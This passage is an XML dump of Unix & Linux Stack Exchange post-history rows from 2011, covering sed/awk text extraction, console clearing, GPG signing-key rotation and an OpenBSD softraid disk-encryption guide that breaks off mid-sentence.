  <row Id="24982" PostHistoryTypeId="4" PostId="10394" RevisionGUID="757ce9cf-b433-4ea6-b1ff-a92c4752071f" CreationDate="2011-03-31T18:25:03.837" UserId="73" Comment="added 20 characters in body; edited title" Text="Shell console clearing" />
  <row Id="24985" PostHistoryTypeId="2" PostId="10396" RevisionGUID="0024c399-bf75-433a-9713-33f1f22abe14" CreationDate="2011-03-31T18:46:02.310" UserId="4671" Text="    reset&#xD;&#xA;&#xD;&#xA;will completely clear the console. Is that what you want?" />
  <row Id="24986" PostHistoryTypeId="2" PostId="10397" RevisionGUID="6f6b80b2-12a5-4387-a39a-25a8751bb508" CreationDate="2011-03-31T18:52:39.237" UserId="885" Text="Unless your segments are really huge (as in: you really can't spare that much RAM, presumably because this is a tiny embedded system controlling a large filesystem), a single pass is really the better approach. Not just because it'll be faster, but most importantly because it allows the source to be a stream, from which any data read and not saved is lost. This is really a job for awk, though sed can do it too.&#xD;&#xA;&#xD;&#xA;    sed -n -e 's/^---$//' -e 't a' \&#xD;&#xA;           -e 'H' -e '$g' -e '$s/^\n//' -e '$p' -e 'b' \&#xD;&#xA;           -e ':a' -e 'h'&#xD;&#xA;    awk '{if (/^---$/) {chunk=&quot;&quot;} else {chunk=chunk $0 RS}}&#xD;&#xA;         END {printf &quot;%s&quot;, chunk}'&#xD;&#xA;&#xD;&#xA;If you must use a two-pass approach, determine the line offset of the last separator and print from that. Or determine the byte offset and print from that.&#xD;&#xA;&#xD;&#xA;    &lt;/input/file tail -n +$((1 + $(&lt;/input/file grep -l -e '---' |&#xD;&#xA;                                   tail -n 1 | cut -f ':' -t 1) ))&#xD;&#xA;    &lt;/input/file tail -n +$(&lt;/input/file awk '/^---$/ {n=NR+1} END {print n}')&#xD;&#xA;    &lt;/input/file tail -c +$(&lt;/input/file LC_CTYPE=C awk '&#xD;&#xA;        {pos+=length($0 RS)}&#xD;&#xA;        /^[^ ]/ {last=pos}&#xD;&#xA;        END {print last+2}&#xD;&#xA;    ')&#xD;&#xA;" />
  <row Id="24987" PostHistoryTypeId="6" PostId="10374" RevisionGUID="27c3bd35-8588-4dda-b7b3-0daf754a7f56" CreationDate="2011-03-31T18:53:24.477" UserId="885" Comment="edited tags" Text="étextöprocessingà" />
  <row Id="24988" PostHistoryTypeId="2" PostId="10398" RevisionGUID="dd659751-b3ce-4d2e-b448-067898582b94" CreationDate="2011-03-31T19:04:59.290" UserId="5664" Text="it's ok, that the various linux distributions use gpg to check the e.g.: new packages downloaded with http. &lt;br&gt;&#xD;&#xA;BUT: what happens if the server, that holds the packages get hacked? ok, they need a new gpg key, ok: but how do they assure that the new gpg keys are the valid gpg keys? i mean there is no valid gpg key until the new one gets downloaded to client side, so there is a little time, when the packages [containing the new gpg keys] are not &quot;validated&quot; with gpg keys. is there any secure method to give the new gpg keys to the clients in an &quot;authoritative&quot;/secure way?" />
  <row Id="24989" PostHistoryTypeId="1" PostId="10398" RevisionGUID="dd659751-b3ce-4d2e-b448-067898582b94" CreationDate="2011-03-31T19:04:59.290" UserId="5664" Text="GPG check regarding packages on various distributions" />
  <row Id="24990" PostHistoryTypeId="3" PostId="10398" RevisionGUID="dd659751-b3ce-4d2e-b448-067898582b94" CreationDate="2011-03-31T19:04:59.290" UserId="5664" Text="élinuxàésecurityà" />
  <row Id="24991" PostHistoryTypeId="5" PostId="10389" RevisionGUID="2f05641a-d89c-4ded-ada1-caf865d0521c" CreationDate="2011-03-31T19:06:33.660" UserId="2343" Comment="Included test results...; added 73 characters in body" Text="    lnum=$(($(sed -n '/^---$/=' file | sed '$!d') +1)); sed -n &quot;${lnum},$ p&quot; file &#xD;&#xA;&#xD;&#xA;The first `sed` ouputs line numbers of the &quot;---&quot; lines...  &#xD;&#xA;The second `sed` extracts the last number from the first sed's output...  &#xD;&#xA;Add 1 to that number to get the start of your &quot;ccc&quot; block...  &#xD;&#xA;The third 'sed' outputs from the start of the &quot;ccc&quot; block to EOF&#xD;&#xA;&#xD;&#xA;**Update**  &#xD;&#xA;&#xD;&#xA;Well I was wondereing about how *glenn jackman's* `tac` would perform, so I time-tested the three answers (at the time of writing)...  The test file(s) each contained 1 million lines (of their own line numbers).  &#xD;&#xA;All answers did what was expected...&#xD;&#xA;&#xD;&#xA;Here are the times.. ( Glen wins!.... I just noticed the comment that `tac` isn't Posix (but I'll use tac :)   &#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;*glenn jackman*  &#xD;&#xA;&#xD;&#xA;    time tac test1  | awk '/---/ {exit} {print}' | tac&#xD;&#xA;    # real    0m0.022s&#xD;&#xA;    # user    0m0.000s&#xD;&#xA;    # sys     0m0.036s&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;*fred.bear*  &#xD;&#xA;&#xD;&#xA;    time (lnum=$(($(sed -n '/^---$/=' test2 |sed '$!d')+1)); sed -n &quot;${lnum},$ p&quot; test2) &#xD;&#xA;    # real    0m0.464s&#xD;&#xA;    # user    0m0.432s&#xD;&#xA;    # sys     0m0.052s&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;*Mackie Messer*  &#xD;&#xA;&#xD;&#xA;    time (LINE=`awk '/^---$/{n=NR}END{print n}' test3`; awk &quot;NR&gt;$LINE&quot; test3)&#xD;&#xA;    # real    0m0.856s&#xD;&#xA;    # user    0m0.832s&#xD;&#xA;    # sys     0m0.028s&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24992" PostHistoryTypeId="2" PostId="10399" RevisionGUID="e4fbfe72-a36b-42fc-9a43-d8e7c29c504d" CreationDate="2011-03-31T19:20:07.770" UserId="2780" Text="I you trust the old key (and you trust GPG). If the new one is distributed in a package signed with the old one, then you can begin to use the new one." />
  <row Id="24993" PostHistoryTypeId="2" PostId="10400" RevisionGUID="83ac8b7f-91d8-4bd2-9e73-9157c79ec35a" CreationDate="2011-03-31T19:25:13.963" UserId="5664" Text="http://16s.us/OpenBSD/softraid.txt" />
  <row Id="24994" PostHistoryTypeId="5" PostId="9527" RevisionGUID="fe0504b8-fa93-4347-a89c-06d926cbcf54" CreationDate="2011-03-31T19:33:01.360" UserId="6108" Comment="just some gramatical edits" Text="Is it a good method to encrypt the full disk (like with dm-crypt/AES under Linux)? Can someone please post a small and compact howto?&#xD;&#xA;&lt;br&gt;&#xD;&#xA;I started a bounty to search for every encryption solution in OBSD! (need compact howtos)&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;I'm especially searching for encryption because, if someone steals my notebook, they could get the data stored on it. Another reason is: I'm not always next to my notebook so someone could install a &quot;trojan&quot; on it. These are the major 2 reasons why encryption is important on a notebook. Especially if someone is trying to use a Very Secure operating system, like OpenBSD!&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Thank you!" />
  <row Id="24995" PostHistoryTypeId="24" PostId="9527" RevisionGUID="fe0504b8-fa93-4347-a89c-06d926cbcf54" CreationDate="2011-03-31T19:33:01.360" Comment="Proposed by 6108 approved by 73 edit id of 243" />
  <row Id="24996" PostHistoryTypeId="5" PostId="10396" RevisionGUID="88e11768-268e-479c-a070-f00e0528cc70" CreationDate="2011-03-31T19:34:32.867" UserId="4671" Comment="added 122 characters in body" Text="The&#xD;&#xA;&#xD;&#xA;    $reset&#xD;&#xA;&#xD;&#xA;command, which is located in the [ncurses-bin](http://packages.debian.org/squeeze/ncurses-bin) package on Debian, will completely clear the console. Is that what you want?" />
  <row Id="24997" PostHistoryTypeId="5" PostId="10397" RevisionGUID="36962889-fd6f-46f3-acab-22c30afb603e" CreationDate="2011-03-31T19:38:40.100" UserId="885" Comment="fixed cut call, thanks fred.bear (where did that come from?)" Text="Unless your segments are really huge (as in: you really can't spare that much RAM, presumably because this is a tiny embedded system controlling a large filesystem), a single pass is really the better approach. Not just because it'll be faster, but most importantly because it allows the source to be a stream, from which any data read and not saved is lost. This is really a job for awk, though sed can do it too.&#xD;&#xA;&#xD;&#xA;    sed -n -e 's/^---$//' -e 't a' \&#xD;&#xA;           -e 'H' -e '$g' -e '$s/^\n//' -e '$p' -e 'b' \&#xD;&#xA;           -e ':a' -e 'h'&#xD;&#xA;    awk '{if (/^---$/) {chunk=&quot;&quot;} else {chunk=chunk $0 RS}}&#xD;&#xA;         END {printf &quot;%s&quot;, chunk}'&#xD;&#xA;&#xD;&#xA;If you must use a two-pass approach, determine the line offset of the last separator and print from that. Or determine the byte offset and print from that.&#xD;&#xA;&#xD;&#xA;    &lt;/input/file tail -n +$((1 + $(&lt;/input/file grep -l -e '---' |&#xD;&#xA;                                   tail -n 1 | cut -d ':' -f 1) ))&#xD;&#xA;    &lt;/input/file tail -n +$(&lt;/input/file awk '/^---$/ {n=NR+1} END {print n}')&#xD;&#xA;    &lt;/input/file tail -c +$(&lt;/input/file LC_CTYPE=C awk '&#xD;&#xA;        {pos+=length($0 RS)}&#xD;&#xA;        /^[^ ]/ {last=pos}&#xD;&#xA;        END {print last+2}&#xD;&#xA;    ')&#xD;&#xA;" />
  <row Id="24998" PostHistoryTypeId="2" PostId="10401" RevisionGUID="1e0a3b6b-cd85-4f29-8fd5-0805741e6a3c" CreationDate="2011-03-31T19:41:15.223" UserId="4069" Text="Use `screen`. just create a screen, su into the user and do what you need to do. Detach from it by using Ctrl+A,d. Then you should be able to disconnect without killing the process thus someone is logged in at all time.&#xD;&#xA;" />
  <row Id="24999" PostHistoryTypeId="5" PostId="10399" RevisionGUID="81d6d1fe-bd89-4493-8019-698f0e32ba7a" CreationDate="2011-03-31T19:42:09.507" UserId="2780" Comment="added 605 characters in body; deleted 1 characters in body" Text="The standard process to give new &quot;authoritative&quot; key is through a package that is signed with the old key. If you trust the old key (and you trust GPG) then the new one is distributed in a package signed with the old one. Now, you can begin to use the new one.&#xD;&#xA;&#xD;&#xA;The packages can be hold on an insecure server as each package will be checked for correct signature.&#xD;&#xA;&#xD;&#xA;A problem occurs only is the packaging private key is compromised. I.e. the master key that sign all packages. ([Debian SecureApt][debian], [Ubuntu SecureApt][ubuntu], [Fedora][fedora]). If it would happens once, it would be really ugly.&#xD;&#xA;&#xD;&#xA;  [debian]: http://wiki.debian.org/SecureApt&#xD;&#xA;  [ubuntu]: https://help.ubuntu.com/community/SecureApt&#xD;&#xA;  [fedora]: https://fedoraproject.org/keys" />
  <row Id="25000" PostHistoryTypeId="5" PostId="10396" RevisionGUID="6a80b7b8-0170-47ef-a241-6fdd4454581d" CreationDate="2011-03-31T19:43:33.873" UserId="885" Comment="removed prompt indicator, because it's highly confusing (many people would type the dollar)" Text="The&#xD;&#xA;&#xD;&#xA;    reset&#xD;&#xA;&#xD;&#xA;command, which is located in the [ncurses-bin](http://packages.debian.org/squeeze/ncurses-bin) package on Debian, will completely clear the console. Is that what you want?" />
  <row Id="25001" PostHistoryTypeId="5" PostId="10396" RevisionGUID="6cc4c200-7574-4865-8be6-4d3cfa088296" CreationDate="2011-03-31T19:50:41.080" UserId="4671" Comment="mention explicitly that reset is part of curses, and add brief description from man page" Text="The&#xD;&#xA;&#xD;&#xA;    reset&#xD;&#xA;&#xD;&#xA;command, which is part of [ncurses](http://en.wikipedia.org/wiki/Ncurses#External_links), and is&#xD;&#xA;located in the [ncurses-bin](http://packages.debian.org/squeeze/ncurses-bin) package on Debian, will completely clear the console. Is that what you want?&#xD;&#xA;&#xD;&#xA;Brief summary of `reset` from the man page:&#xD;&#xA;&#xD;&#xA;&gt; reset sets cooked and echo modes,&#xD;&#xA;&gt; turns off cbreak and raw modes, turns&#xD;&#xA;&gt; on new-line translation and resets any&#xD;&#xA;&gt; unset special characters to their&#xD;&#xA;&gt; default values before doing terminal&#xD;&#xA;&gt; initialization the same way as tset." />
  <row Id="25002" PostHistoryTypeId="2" PostId="10402" RevisionGUID="de6d6435-7dc8-4a36-8216-2fee2f20db29" CreationDate="2011-03-31T19:58:15.980" UserId="885" Text="If only the server holding the packages is compromised, and not the private signing key, there's not much to do. The old key remains valid, and packages modified by the attacker will be detected as such. I assume your question is what happens if the signing key is compromised.&#xD;&#xA;&#xD;&#xA;As long as the old key hasn't expired, people will continue to download the old packages, blissfully unaware that the key has been compromised. Ideally the package management tool should check that the key hasn't been revoked (I don't know if apt, yum and friends do it). However, the first step in responding to a compromise would be to stop distributing packages signed with the old key, and start distributing packages signed with the new key. So any maliciously modified package would linger only in mirrors before they are updated.&#xD;&#xA;&#xD;&#xA;When people start receiving packages signed with the new key, they'll get an error message telling them that the packages are unsigned. This will hopefully prompt them into inquiring what is happening and trying to obtain the new key.&#xD;&#xA;&#xD;&#xA;The compromise will also be announced in security mailing lists and in various industry news channels. So if you follow these, you'll get notice. Of course you should be wary of these as well: an attacker might compromise the list server or a developer's account and send a fake key compromise warning with a new public key that is actually for his own private key.&#xD;&#xA;&#xD;&#xA;There's no magic bullet for distributing the new key. You need a trusted channel to distribute the key in the first place, or more precisely to establish trust in the new key. This is exactly as difficult as establishing trust in the old key. (In other words, most people will get it from the HTTP website or from an unsigned CD image.) You can get the new key from an HTTPS website, if you trust that the website (and the CA that made the site's certificate, and the browser you're using and its trusted base!) hasn't been compromised. Or if you know and trust someone who has the key, you can ask them for it.&#xD;&#xA;" />
  <row Id="25003" PostHistoryTypeId="6" PostId="10398" RevisionGUID="ac5b096d-c446-45ae-9e58-73cb6a5928e5" CreationDate="2011-03-31T20:00:26.633" UserId="885" Comment="edited tags" Text="ésecurityàépackageömanagementàédistrosà" />
  <row Id="25004" PostHistoryTypeId="2" PostId="10403" RevisionGUID="a10e0248-5504-47c6-8287-c394ab77958a" CreationDate="2011-03-31T20:06:20.780" UserId="885" Text="By default, `htop` lists each thread of a process separately, while `ps` doesn't. Turn off the display of threads: in the “Setup / Display options” menu, “Hide userlands threads”. This puts the following line in your `~/.htoprc` (you can alternatively put it there manually):&#xD;&#xA;&#xD;&#xA;    hide_userland_threads=1&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;(Also `hide_kernel_threads=1`, but it's 1 by default.)" />
  <row Id="25005" PostHistoryTypeId="5" PostId="10389" RevisionGUID="352d93e4-7c24-4eb8-8dae-7430e1f49164" CreationDate="2011-03-31T20:09:42.843" UserId="2343" Comment="added 307 characters in body" Text="    lnum=$(($(sed -n '/^---$/=' file | sed '$!d') +1)); sed -n &quot;${lnum},$ p&quot; file &#xD;&#xA;&#xD;&#xA;The first `sed` ouputs line numbers of the &quot;---&quot; lines...  &#xD;&#xA;The second `sed` extracts the last number from the first sed's output...  &#xD;&#xA;Add 1 to that number to get the start of your &quot;ccc&quot; block...  &#xD;&#xA;The third 'sed' outputs from the start of the &quot;ccc&quot; block to EOF&#xD;&#xA;&#xD;&#xA;**Update**  &#xD;&#xA;&#xD;&#xA;Well I was wondereing about how *glenn jackman's* `tac` would perform, so I time-tested the three answers (at the time of writing)...  The test file(s) each contained 1 million lines (of their own line numbers).  &#xD;&#xA;All answers did what was expected...&#xD;&#xA;&#xD;&#xA;Here are the times.. ( Glen wins!.... I just noticed the comment that `tac` isn't Posix (but I'll use tac :)   &#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;*glenn jackman*  &#xD;&#xA;&#xD;&#xA;    time tac test1  | awk '/---/ {exit} {print}' | tac&#xD;&#xA;    # real    0m0.022s&#xD;&#xA;    # user    0m0.000s&#xD;&#xA;    # sys     0m0.036s&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;*Gilles* `sed`  &#xD;&#xA;&#xD;&#xA;    # real    0m0.470s&#xD;&#xA;    # user    0m0.448s&#xD;&#xA;    # sys     0m0.020s&#xD;&#xA;&#xD;&#xA;*Gilles* `awk`  &#xD;&#xA;&#xD;&#xA;    # very slow, but my data had a very large data block which awk needed to cache.&#xD;&#xA;&#xD;&#xA;*Gilles* 'two-pass'  &#xD;&#xA;&#xD;&#xA;    # real    0m1.584s&#xD;&#xA;    # user    0m1.576s&#xD;&#xA;    # sys     0m0.020s&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;*fred.bear*  &#xD;&#xA;&#xD;&#xA;    time (lnum=$(($(sed -n '/^---$/=' test2 |sed '$!d')+1)); sed -n &quot;${lnum},$ p&quot; test2) &#xD;&#xA;    # real    0m0.464s&#xD;&#xA;    # user    0m0.432s&#xD;&#xA;    # sys     0m0.052s&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;*Mackie Messer*  &#xD;&#xA;&#xD;&#xA;    time (LINE=`awk '/^---$/{n=NR}END{print n}' test3`; awk &quot;NR&gt;$LINE&quot; test3)&#xD;&#xA;    # real    0m0.856s&#xD;&#xA;    # user    0m0.832s&#xD;&#xA;    # sys     0m0.028s&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="25006" PostHistoryTypeId="6" PostId="10353" RevisionGUID="b7600cf8-52c0-40ff-8c41-ddaf9b945017" CreationDate="2011-03-31T20:19:34.463" UserId="885" Comment="edited tags" Text="égnomeàésourceà" />
  <row Id="25007" PostHistoryTypeId="2" PostId="10404" RevisionGUID="b048a4b5-8f86-4a91-b616-54a2bd093904" CreationDate="2011-03-31T20:23:00.313" UserId="885" Text="Where did you get `libgio.so`? On most Linux distributions, there's an automatic way of retrieving the source code of a package.&#xD;&#xA;&#xD;&#xA;For example, on Debian, Ubuntu and derived distributions, run `dpkg -S` to see what package `libgio.so` belongs to, then `apt-get source` to get the source code of that package. Example (`$` represents my shell prompt; on my system, the gio library is in a file called `libgio-2.0.so`):&#xD;&#xA;&#xD;&#xA;    $ dpkg -S libgio-2.0.so&#xD;&#xA;    libglib2.0-dev: /usr/lib/libgio-2.0.so&#xD;&#xA;    libglib2.0-0: /usr/lib/libgio-2.0.so.0&#xD;&#xA;    $ apt-get source libglib2.0-0&#xD;&#xA;" />
  <row Id="25008" PostHistoryTypeId="5" PostId="10069" RevisionGUID="24f889e1-8539-47b7-8e02-f773fba083c0" CreationDate="2011-03-31T20:30:53.877" UserId="885" Comment="formatting; grammar" Text="The rear and center channels on my 5.1 speakers don't work.&#xD;&#xA;&#xD;&#xA;I've checked the connections a few time, and turned up volume sliders in alsamixer&#xD;&#xA;&#xD;&#xA;“System information” in alsamixer correctly identifies the card as&#xD;&#xA;&#xD;&#xA;    X-Fi Extreme Audio [SB0790] at 0xdc00 irq 21&#xD;&#xA;&#xD;&#xA;When I try&#xD;&#xA;&#xD;&#xA;    sudo alsactl init&#xD;&#xA;&#xD;&#xA;I receive error: &#xD;&#xA;&#xD;&#xA;    alsactl: parse:1655: Unable to open file '/usr/share/alsa/init/ca0106': No such file or directory&#xD;&#xA;&#xD;&#xA;What is this file, could this be the problem, how do i fix it?&#xD;&#xA;&#xD;&#xA;I'm running Debian squeeze amd64.&#xD;&#xA;" />
  <row Id="25009" PostHistoryTypeId="5" PostId="10345" RevisionGUID="a47497c6-848a-470c-a6e6-259e40bcaeac" CreationDate="2011-03-31T20:31:57.917" UserId="885" Comment="formatting" Text="Most likely it's pulse that's not set-up correctly.  `speaker-test` is a handy utility here.  If pulse is your default audio device then all audio programs including `speaker-test` will go through it for audio.  Try adding `default-sample-channels = 6` to `/etc/pulse/daemon.con`f to tell pulse to use 5.1 audio.  `speaker-test -c6` will test all 6 channels individually.  If you want to test your sound card directly instead of going through pulse you may need to call `speaker-test -D hw:0,0`." />
  <row Id="25010" PostHistoryTypeId="2" PostId="10405" RevisionGUID="49f35569-2e55-44d7-873d-23f958dd50fa" CreationDate="2011-03-31T20:36:43.700" UserId="298" Text="It's not an answer to your question, but you *can* use less, and maintain your color see:  http://serverfault.com/questions/26509/colors-in-bash-after-piping-through-less&#xD;&#xA;&#xD;&#xA;hint: &#xD;&#xA;&lt;pre&gt;&#xD;&#xA;$ grep --color=always foo bar.txt | less -r&#xD;&#xA;&lt;/pre&gt;" />
  <row Id="25011" PostHistoryTypeId="2" PostId="10406" RevisionGUID="b51a9ea4-56c7-4c71-8a46-2262720fc9b7" CreationDate="2011-03-31T20:42:53.557" UserId="885" Text="A server without `tr` or `sed` would have to be really old, or missing some basic commands. Hopefully `ed` is there; it existed in [Unix first edition](http://man.cat-v.org/unix-6th/1/ed).&#xD;&#xA;&#xD;&#xA;    ed /path/to/file&#xD;&#xA;    1,$s/^V^M$//&#xD;&#xA;    w&#xD;&#xA;    q&#xD;&#xA;&#xD;&#xA;where `^V^M` means typing &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;V&lt;/kbd&gt; then &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;M&lt;/kbd&gt; (to enter a literal line feed). If you know that all lines do end in CR LF, you can use `1,$s/.$//` instead (indiscriminately remove the last character on each line).&#xD;&#xA;" />
  <row Id="25012" PostHistoryTypeId="2" PostId="10407" RevisionGUID="53bbbead-4de7-433d-8df5-b35fedf760aa" CreationDate="2011-03-31T20:57:30.273" UserId="6204" Text="I usually just use:&#xD;&#xA;&#xD;&#xA;    clear&#xD;&#xA;&#xD;&#xA;   clear clears your screen if this is possible.  It looks in the environ-&#xD;&#xA;   ment for the terminal type and then in the terminfo database to  figure&#xD;&#xA;   out how to clear the screen.&#xD;&#xA;&#xD;&#xA;   clear ignores any command-line parameters that may be present.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="25013" PostHistoryTypeId="25" PostId="10394" RevisionGUID="592949cc-a790-442d-bbdb-486e2f715824" CreationDate="2011-03-31T21:00:20.413" Comment="http://twitter.com/#!/StackUnix/status/53562292880683009" />
  <row Id="25015" PostHistoryTypeId="5" PostId="10402" RevisionGUID="ae968b65-fc9c-434c-87ec-e5b1d1a1cb10" CreationDate="2011-03-31T21:29:05.310" UserId="885" Comment="added 730 characters in body" Text="If only the server holding the packages is compromised, and not the private signing key, there's not much to do. The old key remains valid, and packages modified by the attacker will be detected as such. I assume your question is what happens if the signing key is compromised.&#xD;&#xA;&#xD;&#xA;As long as the old key hasn't expired, people will continue to download the old packages, blissfully unaware that the key has been compromised. Ideally the package management tool should check that the key hasn't been revoked (I don't know if apt, yum and friends do it). However, the first step in responding to a compromise would be to stop distributing packages signed with the old key, and start distributing packages signed with the new key. So any maliciously modified package would linger only in mirrors before they are updated.&#xD;&#xA;&#xD;&#xA;When people start receiving packages signed with the new key, they'll get an error message telling them that the packages are unsigned. This will hopefully prompt them into inquiring what is happening and trying to obtain the new key.&#xD;&#xA;&#xD;&#xA;The compromise will also be announced in security mailing lists and in various industry news channels. So if you follow these, you'll get notice. Of course you should be wary of these as well: an attacker might compromise the list server or a developer's account and send a fake key compromise warning with a new public key that is actually for his own private key.&#xD;&#xA;&#xD;&#xA;There's no magic bullet for distributing the new key. You need a trusted channel to distribute the key in the first place, or more precisely to establish trust in the new key. This is exactly as difficult as establishing trust in the old key. (In other words, most people will get it from the HTTP website or from an unsigned CD image.) You can get the new key from an HTTPS website, if you trust that the website (and the CA that made the site's certificate, and the browser you're using and its trusted base!) hasn't been compromised. Or if you know and trust someone who has the key, you can ask them for it.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;Note that above, I'm using “package” in a loose sense, assuming a simple model where the packages are directly signed with the distribution signing key. In fact, in some distributions (e.g. all the ones that use APT), what is signed is files containing a list of cryptographic checksums of packages, and there's a two-stage process whereby the installer checks that the package has the expected checksum, and that the list has the expected signature. The principle is the same: the attacker who compromised the key would inject both malicious packages and list files with the checksums for the malicious packages, signed with the compromised key. The resolution requires restoring both the list files and the packages.&#xD;&#xA;" />
  <row Id="25016" PostHistoryTypeId="5" PostId="10396" RevisionGUID="de7e21de-a1b0-4559-9b44-44928b7fcfdd" CreationDate="2011-03-31T21:31:30.203" UserId="4671" Comment="mention differences between clear and reset" Text="The&#xD;&#xA;&#xD;&#xA;    reset&#xD;&#xA;&#xD;&#xA;command, which is part of [ncurses](http://en.wikipedia.org/wiki/Ncurses#External_links), and is&#xD;&#xA;located in the [ncurses-bin](http://packages.debian.org/squeeze/ncurses-bin) package on Debian, will completely clear the console. Is that what you want?&#xD;&#xA;&#xD;&#xA;Brief summary of `reset` from the man page:&#xD;&#xA;&#xD;&#xA;&gt; reset sets cooked and echo modes,&#xD;&#xA;&gt; turns off cbreak and raw modes, turns&#xD;&#xA;&gt; on new-line translation and resets any&#xD;&#xA;&gt; unset special characters to their&#xD;&#xA;&gt; default values before doing terminal&#xD;&#xA;&gt; initialization the same way as tset.&#xD;&#xA;&#xD;&#xA;As discussed in http://superuser.com/questions/122911/bash-reset-and-clear-commands, and as pointed out by Erik in http://unix.stackexchange.com/questions/10394/shell-console-clearing/10407#10407, `clear` will just clear the screen, `reset` will (as bignose put it), &quot;reset your terminal when it gets messed up by control sequences&quot;. Personally, I'm good at messing up my terminal, and when I clear it, I'm not looking to get anything back that was there before, so I just use `reset`. But ymmv." />
  <row Id="25017" PostHistoryTypeId="2" PostId="10408" RevisionGUID="f5dfa3da-d55e-478d-a9cd-d69656f55b53" CreationDate="2011-03-31T22:32:52.167" UserId="5664" Text="https://secure.wikimedia.org/wikipedia/en/wiki/IBM_AIX&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;i need to learn about AIX, and i only have a laptop with Fedora 14/Virtualbox on it.&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Are there any chances that i could run an AIX guest in my VirtualBox?&#xD;&#xA;&lt;br&gt;&#xD;&#xA;My laptop has an: Intel(R) Core(TM)2 Duo CPU     T7100  @ 1.80GHz&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;I read that it only runs on RISC architecture. So theres no way i gonna run it on my laptop?&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Many thanks!" />
  <row Id="25018" PostHistoryTypeId="1" PostId="10408" RevisionGUID="f5dfa3da-d55e-478d-a9cd-d69656f55b53" CreationDate="2011-03-31T22:32:52.167" UserId="5664" Text="How to run AIX in VirtualBox with a Linux host?" />
  <row Id="25019" PostHistoryTypeId="3" PostId="10408" RevisionGUID="f5dfa3da-d55e-478d-a9cd-d69656f55b53" CreationDate="2011-03-31T22:32:52.167" UserId="5664" Text="élinuxàévirtualboxàéaixà" />
  <row Id="25020" PostHistoryTypeId="5" PostId="10400" RevisionGUID="48a1784c-3d60-4f3d-a6bd-8cebfa60f9bf" CreationDate="2011-03-31T22:38:08.697" UserId="5664" Comment="added 3683 characters in body; deleted 13 characters in body" Text="from: http://16s.us/OpenBSD/softraid.txt&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;OpenBSD laptops... encrypting every partition except / with softraid during install&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Date Written: Nov 29, 2009&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;In this example, wd0 is the laptop's physical hard disk and sd1 is the logical softraid volume.&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;-----------------------------------------------------------------------&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;1. Boot bsd.rd from a recent i386 or amd64 snapshot... 4.6-release works too.&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;2. When prompted by the installer, select (S)hell. When you have a shell, follow these steps:&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;&#xD;&#xA;	# fdisk -iy wd0&#xD;&#xA;	# disklabel -E wd0&#xD;&#xA;		a a (Create a small &quot;a partition&quot; to be used for / e.g. 128MB)&#xD;&#xA;		a b (Create a swap &quot;b partition&quot;)&#xD;&#xA;		a d (Create a large &quot;d partition&quot; of type RAID using the remaining space)&#xD;&#xA;	# bioctl -c C -r 65536 -l /dev/wd0d softraid0&#xD;&#xA;	# exit&#xD;&#xA;&#xD;&#xA;3. Now, select (I)nstall and follow the typical OpenBSD install steps. Select wd0 when prompted&lt;br&gt;&#xD;&#xA;for the 'root disk' using the whole disk with a custom partition layout. Modify wd0a (m a)&lt;br&gt;&#xD;&#xA;changing the mount point to /&lt;br&gt;&#xD;&#xA;	&lt;br&gt;&#xD;&#xA;4. Select sd1 when prompted about using other 'available disks'. Use the whole disk with an automatic&lt;br&gt;&#xD;&#xA;partition layout. Modify 'a' changing the size to match that of / and changing the mount point to /altroot.&lt;br&gt;&#xD;&#xA;Delete 'b' as swap has already been defined.&lt;br&gt;&#xD;&#xA;	&lt;br&gt;&#xD;&#xA;5. Install the sets and then reboot.&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;6. Upon each subsequent boot, when you are dumped to a shell, enter this:&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;&#xD;&#xA;	# bioctl -c C -l /dev/wd0d softraid0 &amp;&amp; exit&#xD;&#xA;&#xD;&#xA;	Or, if you had an unclean shutdown enter this:&#xD;&#xA;&#xD;&#xA;	# bioctl -c C -l /dev/wd0d softraid0 &amp;&amp; fsck -fp &amp;&amp; exit&#xD;&#xA;&#xD;&#xA;-----------------------------------------------------------------------&lt;br&gt;&#xD;&#xA;	&lt;br&gt;&#xD;&#xA;To automate this at boot time, create a file in /bin named 'decrypt' and chmod it 700.&lt;br&gt;&#xD;&#xA;The file contents should look like this:&lt;br&gt;&#xD;&#xA;	&lt;br&gt;&#xD;&#xA;&#xD;&#xA;	#!/bin/sh&#xD;&#xA;	bioctl -c C -l /dev/wd0d softraid0&#xD;&#xA;&#xD;&#xA;Now at each boot, when you get a shell, type this and the passphrase when prompted:&#xD;&#xA;	&lt;brä&#xD;&#xA;	decrypt &amp;&amp; exit&#xD;&#xA;&#xD;&#xA;-----------------------------------------------------------------------&lt;br&gt;&#xD;&#xA;	&lt;br&gt;&#xD;&#xA;Notes&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;	The algorithm used by softraid crypto is AES. The mode is 